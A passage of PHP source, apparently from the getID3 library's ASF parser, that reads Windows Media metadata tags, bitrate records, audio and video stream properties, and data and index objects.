								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/albumtitle':
							case 'album':
								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/genre':
							case 'genre':
								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/partofset':
								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/tracknumber':
							case 'tracknumber':
								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
								$thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								foreach ($thisfile_asf_comments['track_number'] as $key => $value) {
									if (preg_match('/^[0-9\x00]+$/', $value)) {
										$thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value));
									}
								}
								break;

							case 'wm/track':
								if (empty($thisfile_asf_comments['track_number'])) {
									$thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								}
								break;

							case 'wm/year':
							case 'year':
							case 'date':
								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/lyrics':
							case 'lyrics':
								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'isvbr':
								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
									$thisfile_audio['bitrate_mode'] = 'vbr';
									$thisfile_video['bitrate_mode'] = 'vbr';
								}
								break;

							case 'id3':
								$this->getid3->include_module('tag.id3v2');

								$getid3_id3v2 = new getid3_id3v2($this->getid3);
								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								unset($getid3_id3v2);

								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
								}
								break;

							case 'wm/encodingtime':
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
								break;

							case 'wm/picture':
								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								foreach ($WMpicture as $key => $value) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
								}
								unset($WMpicture);
/*
								$wm_picture_offset = 0;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
								$wm_picture_offset += 1;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
								$wm_picture_offset += 4;

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);

								$imageinfo = array();
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
								unset($imageinfo);
								if (!empty($imagechunkcheck)) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
								}
								if (!isset($thisfile_asf_comments['picture'])) {
									$thisfile_asf_comments['picture'] = array();
								}
								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
*/
								break;

							default:
								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
									case 0: // Unicode string
										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
										}
										break;

									case 1:
										break;
								}
								break;
						}

					}
					break;

				case GETID3_ASF_Stream_Bitrate_Properties_Object:
					// Stream Bitrate Properties Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
					// Bitrate Records              array of:    variable        //
					// * Flags                      WORD         16              //
					// * * Stream Number            bits         7  (0x007F)     // number of this stream
					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
					// * Average Bitrate            DWORD        32              // in bits per second

					// shortcut
					$thisfile_asf['stream_bitrate_properties_object'] = array();
					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];

					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < (int) $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter] = array();
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
					}
					break;

				case GETID3_ASF_Padding_Object:
					// Padding Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
					// Padding Data                 BYTESTREAM   variable        // ignore

					// shortcut
					$thisfile_asf['padding_object'] = array();
					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];

					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
					$offset += ($NextObjectSize - 16 - 8);
					break;

				case GETID3_ASF_Extended_Content_Encryption_Object:
				case GETID3_ASF_Content_Encryption_Object:
					// WMA DRM - just ignore
					$offset += ($NextObjectSize - 16 - 8);
					break;

				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					}
					$offset += ($NextObjectSize - 16 - 8);
					break;
			}
		}
		if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) {
			$ASFbitrateAudio = 0;
			$ASFbitrateVideo = 0;
			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < (int) $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
						case 1:
							$ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						case 2:
							$ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						default:
							// do nothing
							break;
					}
				}
			}
			if ($ASFbitrateAudio > 0) {
				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
			}
			if ($ASFbitrateVideo > 0) {
				$thisfile_video['bitrate'] = $ASFbitrateVideo;
			}
		}
		if (isset($thisfile_asf['stream_properties_object'])) {

			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = 0;

			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {

				switch ($streamdata['stream_type']) {
					case GETID3_ASF_Audio_Media:
						// Field Name                   Field Type   Size (bits)
						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['audio_media'][$streamnumber] = array();
						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];

						$audiomediaoffset = 0;

						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
						$audiomediaoffset += 16;

						$thisfile_audio['lossless'] = false;
						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
							case 0x0001: // PCM
							case 0x0163: // WMA9 Lossless
								$thisfile_audio['lossless'] = true;
								break;
						}

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { // @phpstan-ignore-line
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						} else {
							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
							}
						}
						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
						unset($thisfile_audio['streams'][$streamnumber]['raw']);

						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
						$audiomediaoffset += 2;
						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];

						break;

					case GETID3_ASF_Video_Media:
						// Field Name                   Field Type   Size (bits)
						// Encoded Image Width          DWORD        32              // width of image in pixels
						// Encoded Image Height         DWORD        32              // height of image in pixels
						// Reserved Flags               BYTE         8               // hardcoded: 0x02
						// Format Data Size             WORD         16              // size of Format Data field in bytes
						// Format Data                  array of:    variable        //
						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['video_media'][$streamnumber] = array();
						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];

						$videomediaoffset = 0;
						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
						$videomediaoffset += 1;
						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { // @phpstan-ignore-line
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						}

						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);

						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
						break;

					default:
						break;
				}
			}
		}

		while ($this->ftell() < $info['avdataend']) {
			$NextObjectDataHeader = $this->fread(24);
			$offset = 0;
			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
			$offset += 8;

			switch ($NextObjectGUID) {
				case GETID3_ASF_Data_Object:
					// Data Object: (mandatory, one only)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
					// Reserved                         WORD         16              // hardcoded: 0x0101

					// shortcut
					$thisfile_asf['data_object'] = array();
					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];

					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
					$offset = 24;

					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;

					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
						$this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"');
						//return false;
						break;
					}

					// Data Packets                     array of:    variable        //
					// * Error Correction Flags         BYTE         8               //
					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
					// * * Opaque Data Present          bits         1               //
					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
					// * Error Correction Data

					$info['avdataoffset'] = $this->ftell();
					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
					$info['avdataend'] = $this->ftell();
					break;

				case GETID3_ASF_Simple_Index_Object:
					// Simple Index Object: (optional, recommended, one per video stream)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
					// Index Entries Count              DWORD        32              // number of Index Entries structures
					// Index Entries                    array of:    variable        //
					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry

					// shortcut
					$thisfile_asf['simple_index_object'] = array();
					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];

					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
					$offset = 24;

					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
					$offset += 16;
					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
					$offset += 8;
					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
					/** @var int|float|false $totalIndexEntriesCount */
					$totalIndexEntriesCount = $thisfile_asf_simpleindexobject['index_entries_count'];
					$offset += 4;

					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $totalIndexEntriesCount);
					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $totalIndexEntriesCount; $IndexEntriesCounter++) {
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]                  = array();
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 4;
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Index_Object:
					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.

					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
					// Index Specifiers                 array of:    varies          //
					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
																					//   Nearest Past Cleanpoint is the most common type of index.
					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
					// * Index Entries                  array of:    varies          //
					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value

					// shortcut
					$thisfile_asf['asf_index_object'] = array();
					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];

					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
					$offset = 24;

					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
					$offset += 2;
					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < (int) $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]                    = array();
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
					}

